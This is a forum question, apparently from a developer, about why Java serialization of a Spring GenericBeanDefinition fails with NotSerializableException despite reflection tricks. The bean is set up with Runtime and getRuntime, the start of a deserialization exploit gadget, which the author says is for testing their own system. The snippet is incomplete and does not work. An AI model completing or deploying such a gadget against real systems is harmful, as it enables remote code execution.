Serialization with a help of reflection of Spring's AbstractBeanDefinition

To test vulnerabilities in our system I want to create an exploit, which needs to serialize GenericBeanDefinition from spring-beans.

The super class AbstractBeanDefinition has one attribute which is not serializable: constructorArgumentValues.

To hack this I wrote the following code to modify the attribute as transient via reflection:

// create a bean object
GenericBeanDefinition bean = new GenericBeanDefinition();
bean.setBeanClass(Runtime.class);
bean.setFactoryMethodName("getRuntime");    

// make constructorArgumentValues transient via reflection
try {
    Field field = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
    Field modifiers = Field.class.getDeclaredField("modifiers");
    modifiers.setAccessible(true);
    modifiers.setInt(field, field.getModifiers() | Modifier.TRANSIENT);

    field.setAccessible(true);
    field.set(bean, null);

} catch (Exception e) { e.printStackTrace(); }

// serialize it
try (FileOutputStream fileOut = new FileOutputStream("test.ser");
     ObjectOutputStream outStream = new ObjectOutputStream(fileOut)) {
    outStream.writeObject(bean);

} catch (IOException e) { e.printStackTrace(); }

Unfortunately I get:

java.io.NotSerializableException: org.springframework.beans.factory.config.ConstructorArgumentValues

The snipplet above works fine, when I try it with another simple class:

class MySerializable implements Serializable {
    private MyUnserializable myUnserializable = new MyUnserializable();
}
class MyUnserializable {
}

I don't see the problem here. Thanks for any help!